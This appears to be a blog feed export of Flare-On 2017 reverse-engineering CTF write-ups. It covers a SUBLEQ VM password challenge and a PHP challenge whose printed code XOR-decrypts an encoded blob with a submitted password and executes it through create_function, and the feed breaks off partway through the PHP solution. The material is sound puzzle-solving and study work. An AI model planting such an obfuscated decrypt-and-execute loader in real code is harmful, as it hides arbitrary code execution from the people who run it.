tag:blogger.com,1999:blog-8929574929815322652024-02-06T23:43:41.105-08:00The Vulnerable SpaceGradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.comBlogger41125tag:blogger.com,1999:blog-892957492981532265.post-49743282434893594522018-01-10T12:33:00.002-08:002018-01-10T12:33:58.809-08:00CTF Writeup - Flare-On 2017 - 12: [missing]<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> [missing]</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/%5Bmissing%5D.zip?raw=true"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The last Flare-On challenge was anything but a walk in park and was easily the longest and toughest CTF challenge I've ever completed. Just thinking about it gives me the shivers. As a matter of fact, I won't be writing a walkthrough for it. Sorry to disappoint!
</br></br>
Instead, I've decided to aggregate some of the solutions and scripts I found for this challenge:
<ul>
<li style="color:#999999;"><a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge12.pdf"><span style="color: #cccccc;">Official Solution</span></a></li>
<li style="color:#999999;"><a href="https://github.com/gray-panda/grayrepo/tree/master/2017_flareon/flare12_missing"><span style="color: #cccccc;">@_graypanda</span></a></li>
<li style="color:#999999;"><a href="https://github.com/jhsmith/flareon/tree/master/flareon4_challenge12"><span style="color: #cccccc;">@jay_smif</span></a></li>
<li style="color:#999999;"><a href="https://0xec.blogspot.co.uk/2017/10/flare-on-challenge-2017-writeup.html"><span style="color: #cccccc;">@0xec_</span></a></li>
<li style="color:#999999;"><a href="https://github.com/L4ys/CTF/tree/master/flareon4/12"><span style="color: #cccccc;">@_L4ys</span></a></li>
</ul>
</br>
PS: If I've missed your solution and would like to it to be added to the list, ping me :)
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-23820696531166830322017-11-10T15:41:00.000-08:002017-11-25T07:02:23.162-08:00CTF Writeup - Flare-On 2017 - 11: covfefe.exe<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> covfefe.exe</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/covfefe.exe?raw=true"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The penultimate Flare-On challenge was, in hindsight, my absolute favourite. From the outside, the binary is just a basic command prompt that asks for a password:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>covfefe.exe
Welcome to the magic box.
Enter the password: random_stuff
You did not guess the password. Consider brute-force guessing using a script, and letting
it run for a few trillion years.
C:\>
</div>
</br></br>
Looking at it under IDA, the binary's code is deceptively simple and doesn't do much. We only have 3 functions with the most important being <b>sub_401000</b>:
</br></br>
<pre class="brush:python;">
bool __cdecl sub_401000(int a1, int a2, int a3, int a4)
{
bool result; // al@2
*(_DWORD *)(a1 + 4 * a3) -= *(_DWORD *)(a1 + 4 * a2);
if ( a4 )
result = *(_DWORD *)(a1 + 4 * a3) <= 0;
else
result = 0;
return result;
}
</pre>
</br>
The function accepts a start position, <b>a1</b>, and 2 offsets, <b>a2</b> and <b>a3</b>, and returns True if a1[a2] - a1[a3] is less than or equal to 0, else it returns False. The entire logic of this program is based solely on this instruction. We're hence dealing with a SUBLEQ VM.
</br></br>
For those of you who would like to see an elegant way of solving this challenge, please find another write-up. Here I'll be going through a very basic and manual way of how I solved it. The SUBLEQ VM is too complicated to go through instruction by instruction so, my technique was to put RW breakpoints on the memory region that holds our input and follow any transformations that happen to it. If parts of the input are copied to another memory region, we'll put RW breakpoints on those as well and monitor them.
</br></br>
So, let's get started by supplying the program with <b>'random'</b> as input. After a few breakpoints we see that our input has been stored in location <b>0x40313C</b>:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3VDVFFBnE6Pu7rOqbR8oo7ATa8V2eGwgfied_XK_fNtLIcNUeGJQYzfTxne_QlLlWmk_5vKQDVMlI2QP2bP3RSTTZAX0zqoOYda3ezrHOpA_9qunkkizzgW0HKo9MP7Cu0diUqIiBO5cp/s1600/flare_10_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3VDVFFBnE6Pu7rOqbR8oo7ATa8V2eGwgfied_XK_fNtLIcNUeGJQYzfTxne_QlLlWmk_5vKQDVMlI2QP2bP3RSTTZAX0zqoOYda3ezrHOpA_9qunkkizzgW0HKo9MP7Cu0diUqIiBO5cp/s640/flare_10_1.png" width="640" height="141" data-original-width="660" data-original-height="145" /></a></div>
</br>
Add a new RW breakpoint to cover the 0x18-byte memory region starting from <b>0x40313C</b>. After hitting the new breakpoint a few times we find that the first 2 chars of our input were copied to locations <b>0x406A68</b> and <b>0x406A6C</b> respectively:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgGa9N99y3DOwonhxdmdJ2zwQoqMU6nEOvnozSsDcPi4yVq359T2moGiYl6X4vZWeFD3SFmtxpaP8sw5rgrC7-8iWZQllwAFeSejjxAdfKQtN4WHYJ-F_hGWulkksTk2guAnfPsLDp-qog/s1600/flare_10_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgGa9N99y3DOwonhxdmdJ2zwQoqMU6nEOvnozSsDcPi4yVq359T2moGiYl6X4vZWeFD3SFmtxpaP8sw5rgrC7-8iWZQllwAFeSejjxAdfKQtN4WHYJ-F_hGWulkksTk2guAnfPsLDp-qog/s640/flare_10_2.png" width="640" height="143" data-original-width="687" data-original-height="153" /></a></div>
</br>
Put a RW breakpoint on these 2 new locations. Continuing with the execution we encounter the first operation on the first character:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9SWITBaNNSA1FFXsGD_SWc57dIywKObPDgk6Xfi-04K2LaR6iDRfKJfZkEEIxioPhTwnjW-KGnfnV3JI5lb8NlSZhyvrMjv81_bKG4c0-5A6jnOtC5olFzSyBDz0JjGBIuE-mUE3YP9du/s1600/flare_10_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9SWITBaNNSA1FFXsGD_SWc57dIywKObPDgk6Xfi-04K2LaR6iDRfKJfZkEEIxioPhTwnjW-KGnfnV3JI5lb8NlSZhyvrMjv81_bKG4c0-5A6jnOtC5olFzSyBDz0JjGBIuE-mUE3YP9du/s640/flare_10_3.png" width="640" height="126" data-original-width="687" data-original-height="135" /></a></div>
</br>
The value <b>0x72</b>, which is hex for <b>'r'</b>, the first character of our input, has been changed to <b>0x6AE</b>. In other words, it has been multiplied by <b>0xF</b>. The resultant value is then squared 7 times, which gives us <b>0x35700</b>:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrEYz9plRthTvCXseiKR4IMHuL-OWE5c9fl2WzPPFFeekCCxZe95yKGhS9kSUS7-1XiIN-z3XPGlLywPTrRiPYxC06JvOSR8V2ugCYxCQwL2s2qRogaJKvdphCPQizhHNY7g6mvEf-bVIJ/s1600/flare_10_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrEYz9plRthTvCXseiKR4IMHuL-OWE5c9fl2WzPPFFeekCCxZe95yKGhS9kSUS7-1XiIN-z3XPGlLywPTrRiPYxC06JvOSR8V2ugCYxCQwL2s2qRogaJKvdphCPQizhHNY7g6mvEf-bVIJ/s640/flare_10_4.png" width="640" height="126" data-original-width="687" data-original-height="135" /></a></div>
</br>
The focus now shifts to the 2nd char, which is <b>'a'</b> in our case. This is copied to location <b>0x405FC4</b>. At the same time, the value <b>0x7F</b> is copied to location <b>0x405FC0</b>. Both these values can be seen in the following screenshot:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDx85qIVk2xbrCijkFDlkslKxF_NXCIDSzPWm5nPHPSwGN96YkFMm2k7bLEFezVgt6yDvgVvRk6XCX46d6g4tFgmXk8u3MWeJCYTWT-ONuj9CwzoVy84mcSWixtl6r4-rV6xiCR64g_sH8/s1600/flare_10_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDx85qIVk2xbrCijkFDlkslKxF_NXCIDSzPWm5nPHPSwGN96YkFMm2k7bLEFezVgt6yDvgVvRk6XCX46d6g4tFgmXk8u3MWeJCYTWT-ONuj9CwzoVy84mcSWixtl6r4-rV6xiCR64g_sH8/s640/flare_10_5.png" width="640" height="154" data-original-width="655" data-original-height="158" /></a></div>
</br>
By putting a breakpoint on each of these memory regions containing the 2 values we can see them change with each iteration. This part wasn't that straight forward to deduce using my method. After a while the values stop changing and we get the following scenario:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp0b3hZkBoTt9ek0W1CvsyBAAiIvPcawXJsXZCveZjEL0AdcMvb1ZXusDVcOoXThtlIEA5bkutvaZFq1tuZqa9wRHcVNB8WHGBy26rccuUMxCFHPlIw8KxbFqiLGLTryyIoM9aEtq7YgFU/s1600/flare_10_6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp0b3hZkBoTt9ek0W1CvsyBAAiIvPcawXJsXZCveZjEL0AdcMvb1ZXusDVcOoXThtlIEA5bkutvaZFq1tuZqa9wRHcVNB8WHGBy26rccuUMxCFHPlIw8KxbFqiLGLTryyIoM9aEtq7YgFU/s640/flare_10_6.png" width="640" height="154" data-original-width="655" data-original-height="158" /></a></div>
</br>
The original values, <b>0x7F</b> and <b>0x61</b>, which resided in locations <b>0x405FC4</b> and <b>0x405FC0</b> respectively, have been modified to show <b>0xFFFFFFFF</b>. At the same time though, location <b>0x405FDC</b> contains the value <b>0x20</b>. This is a simple counter which tells the SUBLEQ VM to stop operating on these 2 values when it reaches <b>0x20</b>. More importantly though is location <b>0x405FD0</b> which contains the value <b>0x1E</b>. So which operation on values <b>0x7F</b> and <b>0x61</b> gives <b>0x1E</b>? Well, it's XOR of course.
</br></br>
The SUBLEQ VM now copies the resultant to where the original value was:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX1Q_CauWPME3rk3hefMirRs4l5SnbK2rbefV-WIfpPCRAW32j-hHuhGW4ltAceN_zkkXgkqlDyt2kfEeDCnpvnqiPY1hEL7Mdp4D5qhKaJn_-Nigy1jbq925_Ijdeqj6rpqublRssBdb5/s1600/flare_10_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX1Q_CauWPME3rk3hefMirRs4l5SnbK2rbefV-WIfpPCRAW32j-hHuhGW4ltAceN_zkkXgkqlDyt2kfEeDCnpvnqiPY1hEL7Mdp4D5qhKaJn_-Nigy1jbq925_Ijdeqj6rpqublRssBdb5/s640/flare_10_7.png" width="640" height="126" data-original-width="687" data-original-height="135" /></a></div>
</br>
So at this point we have values <b>0x35700</b> and <b>0x1E</b>. A few breakpoints later, we can see that the values have been OR'd and the result replaces the first value:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV0toXvFvqsyXIRjoHHaGbMwOipKNGeuSj7SLfQtSsCS0pPF64pJ23SoDtyOv8qCD1BfRr3tTp3DzlpdB8CO3ueUb2iGw0351C9keq5RdijkAe4ESbN7Sml8znISDu2HKz5aVtRcAz84Sd/s1600/flare_10_8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV0toXvFvqsyXIRjoHHaGbMwOipKNGeuSj7SLfQtSsCS0pPF64pJ23SoDtyOv8qCD1BfRr3tTp3DzlpdB8CO3ueUb2iGw0351C9keq5RdijkAe4ESbN7Sml8znISDu2HKz5aVtRcAz84Sd/s640/flare_10_8.png" width="640" height="126" data-original-width="687" data-original-height="135" /></a></div>
</br>
To be honest the operation could have been interpreted as an XOR as it produces the same result. In fact, it doesn't matter if we use OR or XOR, the challenge is still possible with either. Continuing, we encounter this situation:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlAovbZkDnQ34uW5I4yOHMpXbSjw13KShWALUAixTpLhkTvcSYAnc6TDapaFwkFdBvoNqfrGIagOHLhP6egchDjj5kgfiiFx7nSJOhCf7NC7kiyWAZ7SPpA7XPxhAh1Sw8kcICuOnB0bIV/s1600/flare_10_9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlAovbZkDnQ34uW5I4yOHMpXbSjw13KShWALUAixTpLhkTvcSYAnc6TDapaFwkFdBvoNqfrGIagOHLhP6egchDjj5kgfiiFx7nSJOhCf7NC7kiyWAZ7SPpA7XPxhAh1Sw8kcICuOnB0bIV/s640/flare_10_9.png" width="640" height="127" data-original-width="687" data-original-height="136" /></a></div>
</br>
The value <b>0x35E8A</b> overwrites the second value. Then, our result, which resides at location <b>0x406A68</b>, and this new value are subtracted from each other. If we continue execution we notice that the whole process is restarted with the next 2 characters of our input. This strongly suggests that the value <b>0x35E8A</b> is what our result should have been.
</br></br>
The strategy to completing the challenge is now straight forward: collect all the comparison results and for each, reverse the algorithm to obtain 2 characters of the input each time. First, let us reiterate what the algorithm is for each 2 characters of our input:
<ol>
<li style="color:#999999;">Multiply the first char by 0xF and square the value 7 times</li>
<li style="color:#999999;">XOR the 2nd character by 0x7F</li>
<li style="color:#999999;">OR the 2 results together</li>
<li style="color:#999999;">Compare the final result to a fixed value</li>
</ol>
The following script bruteforces each 2 characters from the collected values by reversing the algorithm above:
</br></br>
<pre class="brush:python;">
import string, sys
sols = [0x35E8A,0x2DF13,0x2F58E,0x2C89E,0x3391B,0x2C88D,0x2F59B,0x36D9C,0x36616,0x340A0,0x2D79B,0x2C89E,0x2DF0C,0x36D8D,0x2EE0A,0x331FF]
def try_sol(c1, c2, sol):
c1 *= 0xF
for x in range(7):
c1 += c1
c2 ^= 0x7F
c12 = c1 | c2
if c12 == sol:
return True
return False
for sol in sols:
for c1 in string.printable + '\x00':
for c2 in string.printable + '\x00':
if try_sol(ord(c1),ord(c2), sol):
sys.stdout.write(c1)
sys.stdout.write(c2)
</pre>
</br>
Running the script:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python covfefe_sol.py
subleq_and_reductio_ad_absurdum
C:\>
</div>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-86765095755908434062017-11-10T15:36:00.002-08:002017-11-25T07:02:23.175-08:00CTF Writeup - Flare-On 2017 - 10: shell.php<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> shell.php</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://raw.githubusercontent.com/GradiusX/vulnerable.space/master/Flare-On2017/shell.php"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The next challenge on the list was a PHP one. This is by far the one I liked the least as it requires a lot of manual work and guessing. The following shows the contents of <b>shell.php</b>:
</br></br>
<pre class="brush:php;">
<?php
$o__o_ = base64_decode('QAYLHhIJ ... [snip] ... kCEh8NSh4PEA4eGFsaGXoo');
$o_o = isset($_POST['o_o']) ? $_POST['o_o'] : "";
$o_o = md5($o_o) . substr(MD5(strrev($o_o)) , 0, strlen($o_o));
for ($o___o = 0; $o___o < 2268; $o___o++)
{
$o__o_[$o___o] = chr((ord($o__o_[$o___o]) ^ ord($o_o[$o___o])) % 256);
$o_o.= $o__o_[$o___o];
}
if (MD5($o__o_) == '43a141570e0c926e0e3673216a4dd73d')
{
if (isset($_POST['o_o'])) @setcookie('o_o', $_POST['o_o']);
$o___o = create_function('', $o__o_);
unset($o_o, $o__o_);
$o___o();
}
else
{
echo '<form method="post" action="shell.php"><input type="text" name="o_o" value=""/><input type="submit" value=">"/></form>';
}
?>
</pre>
</br>
The script is easy enough to understand. It basically does the following:
<ul>
<li style="color:#999999;">Base64 decodes a massive string (line 2)</li>
<li style="color:#999999;">Accepts a password via a POST request (line 3)</li>
<li style="color:#999999;">Concatenates it's MD5 and the substring of the MD5 of the reverse string (line 4)</li>
<li style="color:#999999;">Uses the result as the key to XOR the massive string (lines 6 - 10)</li>
<li style="color:#999999;">Creates a new function from the decrypted text (line 15)</li>
<li style="color:#999999;">Calls the function (line 17)</li>
</ul>
The aim here is to find the key and decrypt the Base64 string. There are a few constraints and possibilities here that we need to note 1) the XOR key is made up of only [0-9][a-f] characters due to it being the result of an MD5, 2) the key is of length between 33 and 64, and 3) the decrypted string has to be PHP code, i.e. made out of printable characters.
</br></br>
Expanding on constraint #3, notice that the key is repeated which means that a character of the key is a potential solution if it produces a printable character each time it is used. As an example let us assume that the key length is 64 and that we want to verify if character <b>'7'</b> is a potential candidate to being the first character of the key. Then, <b>'7'</b> XOR'd with the first byte of the encrypted text has to produce a printable character; the result XOR'd with the 65th byte of the encrypted text has to produce a printable character as well, and so on so forth until we exhaust the encrypted text. If it produces printable characters everywhere then <b>'7'</b> is a potential candidate, else not.
</br></br>
The following script will determine all possible characters for key lengths between 33 and 64:
</br></br>
<pre class="brush:python;">
import base64
import string
encoded = "QAYLHhIJ ... [snip] ... kCEh8NSh4PEA4eGFsaGXoo"
decoded = base64.b64decode(encoded)
possible_chars = "0123456789abcdef"
for key_len in xrange(33, 65):
print "-- Key Length: " + str (key_len) + " --"
for key_pos in xrange(0, key_len):
potential_sol = []
for possible_char in possible_chars:
temp_possible_char = possible_char
possible = True
for pos in range(key_pos, len(decoded), key_len):
temp_possible_char = chr((ord(decoded[pos]) ^ ord(temp_possible_char)))
if temp_possible_char not in string.printable:
possible = False
break
if possible:
potential_sol.append(possible_char)
if potential_sol:
print key_pos, ":", potential_sol
</pre>
</br>
Running the script we get:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python possible_solutions.py
-- Key Length: 33 --
-- Key Length: 34 --
-- Key Length: 35 --
-- Key Length: 36 --
-- Key Length: 37 --
-- Key Length: 38 --
-- Key Length: 39 --
-- Key Length: 40 --
-- Key Length: 41 --
-- Key Length: 42 --
9 : ['4', '6', '7']
-- Key Length: 43 --
-- Key Length: 44 --
-- Key Length: 45 --
-- Key Length: 46 --
-- Key Length: 47 --
-- Key Length: 48 --
-- Key Length: 49 --
-- Key Length: 50 --
-- Key Length: 51 --
31 : ['e']
-- Key Length: 52 --
-- Key Length: 53 --
-- Key Length: 54 --
-- Key Length: 55 --
49 : ['c', 'f']
-- Key Length: 56 --
39 : ['c']
-- Key Length: 57 --
-- Key Length: 58 --
-- Key Length: 59 --
16 : ['a', 'd', 'f']
-- Key Length: 60 --
-- Key Length: 61 --
-- Key Length: 62 --
-- Key Length: 63 --
-- Key Length: 64 --
0 : ['c', 'd', 'e']
1 : ['a', 'b', 'c', 'd', 'e']
2 : ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
3 : ['8', '9']
4 : ['2', '3', '4', '5', '6']
5 : ['0', '1', '2', '3', '4', '6', '7', '8']
6 : ['b', 'c', 'd', 'f']
7 : ['8', '9']
8 : ['0', '2', '4', '5']
9 : ['a', 'b', 'f']
10 : ['0', '2', '3', '4', '5', '6', '7', '8', '9']
11 : ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
12 : ['b', 'c', 'd']
13 : ['8', '9']
14 : ['0', '2', '3', '5']
15 : ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
16 : ['a', 'b', 'c', 'd', 'e']
17 : ['a', 'b', 'c', 'd', 'e', 'f']
18 : ['b', 'c', 'd', 'f']
19 : ['2', '3', '4', '5', '7']
20 : ['2', '3', '7']
21 : ['5', '6', '7']
22 : ['0', '1', '2', '4', '5', '6', '7', '8', '9']
23 : ['0', '1', '5', '6', '7']
24 : ['8', '9']
25 : ['a', 'b', 'c', 'd', 'e', 'f']
26 : ['b', 'c', 'd', 'e']
27 : ['8', '9']
28 : ['d', 'e']
29 : ['8', '9']
30 : ['0', '1', '2', '3', '4', '5', '6', '7', '9']
31 : ['a', 'b', 'c', 'd', 'e', 'f']
32 : ['0', '1', '2', '3', '5', '6', '7', '8', '9']
33 : ['0', '1', '2', '3', '4', '5', '6', '7', '9']
34 : ['0', '1', '3', '6', '7']
35 : ['b', 'c', 'd', 'e']
36 : ['d', 'e', 'f']
37 : ['0', '1', '4', '6', '7']
38 : ['2', '3', '4', '5']
39 : ['0', '1', '4', '6', '7']
40 : ['1', '2', '3', '4', '5', '6', '7', '8', '9']
41 : ['0', '3', '4', '7', '8', '9']
42 : ['a', 'e']
43 : ['a', 'f']
44 : ['b', 'c']
45 : ['0', '1', '3', '6', '7']
46 : ['8', '9']
47 : ['1', '2', '3', '5', '6', '7', '8', '9']
48 : ['d', 'e']
49 : ['0', '1', '7']
50 : ['0', '1', '5', '6', '7']
51 : ['0', '1', '2', '3', '4', '5', '6', '7', '9']
52 : ['a', 'b', 'c', 'f']
53 : ['a', 'b', 'c', 'd', 'e', 'f']
54 : ['a', 'b', 'c', 'd', 'f']
55 : ['a', 'b', 'c', 'd', 'e', 'f']
56 : ['0', '1', '2', '3', '5', '6', '7', '8', '9']
57 : ['0', '1', '3', '6', '7']
58 : ['8', '9']
59 : ['a', 'e', 'f']
60 : ['0', '1', '2', '3', '6', '7']
61 : ['a', 'b', 'c', 'e', 'f']
62 : ['a', 'e', 'f']
63 : ['b', 'c', 'd']
C:\>
</div>
</br></br>
Here we've hit 2 birds with 1 stone. It is obvious from the script that the the key length is 64 as it has a potential solution for each position of the key. We also have a list of potential solutions that we can use to start decrypting the text.
</br></br>
So how are going to further reduce the potential solutions? Well, it's a semi-manual task; and it's at this point that the challenge becomes a bit mundane. Let's try and find out the first 4 characters of the key with this script:
</br></br>
<pre class="brush:python;">
import base64
import itertools
encoded = "QAYLHhIJ ... [snip] ... kCEh8NSh4PEA4eGFsaGXoo"
decoded = base64.b64decode(encoded)
pos_key = [ ['c', 'd', 'e'], ['a', 'b', 'c', 'd', 'e'], ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'], ['8', '9']]
for x in itertools.product(*pos_key):
key1 = ''.join(x)
key = key1 + ('_' * (64 - len(key1)))
decrypted = [None] * 2268
for x in range(2268):
decrypted[x] = chr((ord(decoded[x]) ^ ord(key[x])) % 256)
key = key + decrypted[x]
print "Key :" + key1
print ''.join(decrypted)[:len(key1)] , '|', ''.join(decrypted)[64*10:(64*10)+len(key1)], '|', ''.join(decrypted)[64*31:(64*31)+len(key1)] , '|', ''.join(decrypted)[64*32:(64*32)+len(key1)]
print
</pre>
</br>
The script covers the first 4 characters of the 64-char key. Notice that on line 8 we put the possible solutions for the first 4 chars obtained from the previous result. For each permutation of these characters (line 10), we decrypt sections of the text (line 16), and print some parts (line 20) which we will later manually verify if they make sense or not.
</br></br>
Running the above script:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python stage1_decrypter.py
[ ... snip ... ]
Key :db68
$d=& | $kex | ost# | e="s
Key :db69
$d=' | $key | ost" | e="r
Key :db78
$d<& | $kdx | osu# | e=#s
[ ... snip ... ]
C:\>
</div>
</br></br>
Note the string <b>'$key'</b> which indicates that we're on the right track with <b>'db69'</b>. Using this labour-intensive, nerve-wracking method we finally get <b>'db6952b84a49b934acb436418ad9d93d237df05769afc796d067bccb379f2cac</b> and a 2nd PHP script as the decrypted text:
</br></br>
<pre class="brush:php;">
$d='';
$key = "";
if (isset($_POST['o_o']))
$key = $_POST['o_o'];
if (isset($_POST['hint']))
$d = "www.p01.org";
if (isset($_POST['t'])) {
if ($_POST['t'] == 'c') {
$d = base64_decode('SDcGHg1feVUIEhsbDxFhIBIYFQY+VwMWTyAcOhEYAw4VLVBaXRsKADMXTWxrSH4ZS1IiAgA3GxYUQVMvBFdVTysRMQAaQUxZYTlsTg0MECZSGgVcNn9AAwobXgcxHQRBAxMcWwodHV5EfxQfAAYrMlsCQlJBAAAAAAAAAAAAAAAAAFZhf3ldEQY6FBIbGw8RYlAxGEE5PkAOGwoWVHgCQ1BGVBdRCAAGQVQ2Fk4RX0gsVxQbHxdKMU8ABBU9MUADABkCGHdQFQ4TXDEfW0VDCkk0XiNcRjJxaDocSFgdck9CTgpPDx9bIjQKUW1NWwhERnVeSxhEDVs0LBlIR0VlBjtbBV4fcBtIEU8dMVoDACc3ORNPI08SGDZXA1pbSlZzGU5XVV1jGxURHQoEK0x+a11bPVsCC1FufmNdGxUMGGE=');
$key = preg_replace('/(.)../', '$1', $key);
}
if ($_POST['t'] == 's') {
$d = base64_decode('VBArMg1HYn1XGAwaAw1GDCsACwkeDgABUkAcESszBEdifVdNSENPJRkrNwgcGldMHFVfSEgwOjETEE9aRlJoZFMKFzsmQRALSilMEQsXHEUrPg9ZDRAoAwkBHVVIfzkNGAgaBAhUU00AAAAAAAAAAAAAAAAASkZSVV0KDAUCHBFQHA0MFjEVHB0BCgBNTAJVX3hkAkQiFh8ESw0AG0M5MBNRGkpdWV4bVEEVdGJGRR9XGBgcAgpVCDAsCA0GGAVWBAwcBxQqKwRCGxgbVkJFR11IdHcbRFxOUkNNV0RAVXIKSgxCWk1aVkdGQVI8dxRTVl5CR0JLVAQdOStbXkRfXlxOFEULUCp2SFJIUlVGQlUtRhExMQQLJyMmIFgDTUQtYmZIRUAECB4MHhtWRHA9Dh0WSWZmWUEHHBUzYQ==');
$key = preg_replace('/.(.)./', '$1', $key);
}
if ($_POST['t'] == 'w') {
$d = base64_decode('DycdGg1hYjl8FURaAVZxPhgNOQpdMxVIRwNKc0YDCCsDVn5sJxJMHmJJOgArB1olFA0JHQN+TlcpOgFBKUEAA1M+RVUVDjsWEy8PQUEMV3IsSgJxCFY0IkJAGVY3HV9DbQsRaU1eSxl6IR0SEykOX2gnEAwZGHJHRU0OUn4hFUUADlw8UhRPNwpaJwlZE14Df1IRDi1HS30JFlZAHnRAEQ4tR0p9CRZXQB50LFkHNgNfEgROWkVLZV1bGHVbHyJMSRFZCQtGRU0bQAFpSEtBHxsLVEdaeEEUfCd2akdKYAFaJXBdT3BeHBRFV3IdXCV1PhsUXFUBBR5hXFwwdxsab1kECFoaM0FET2pEd2owBXpAC2ZAS11sMhVmJREWVlFyDV4ldFIdcUMBWlBbcl5CSGFTUCEPW08eEyYNSgJhYjl8Tk9BCUpvDxsAODBeLwUfE08AAAAAAAAAAAAAAAAAEXFkfV1wB0ctDRM=');
$key = preg_replace('/..(.)/', '$1', $key);
}
while(strlen($key) < strlen($d))
$key = $key.$key;
$d = $d ^ $key;
}
if (strlen($d))
echo $d;
else
echo '<form action="shell.php" method="post"><input type="hidden" name="o_o" value="'.$key.'"><input type="radio" name="t" value="c"> Raytraced Checkboard<br> <input type="radio" name="t" value="s"> p01 256b Starfield<br> <input type="radio" name="t" value="w"> Wolfensteiny<br><input type="submit" value="Show"/></form>';
</pre>
</br>
Alas, another 3 decryption exercises. This time the key is split into 3 parts by taking every other 3rd char, and each one decrypts a different string. At this point I was completely lost as to how I'm going to decrypt these texts or obtain the key so I made a leap of faith which, luckily for me, turned out to be correct. I assumed that the decryption key was the key to the challenge, i.e. the final email which, just like in all the challenges, ends with <b>'@flare-on.com'</b>.
</br></br>
If we make this assumption then the 3 partial keys in question should end with <b>'@a-.m'</b>, <b>'froc'</b> and <b>'leno'</b>. The plan now is to try each of these partial keys with each of the encrypted text and hopefully get something that makes sense in one of the combinations. The following script tries <b>'@a-.m'</b> against the 3rd ciphertext at each position and prints out the resultant decrypted text if it is printable:
</br></br>
<pre class="brush:python;">
import base64
import string
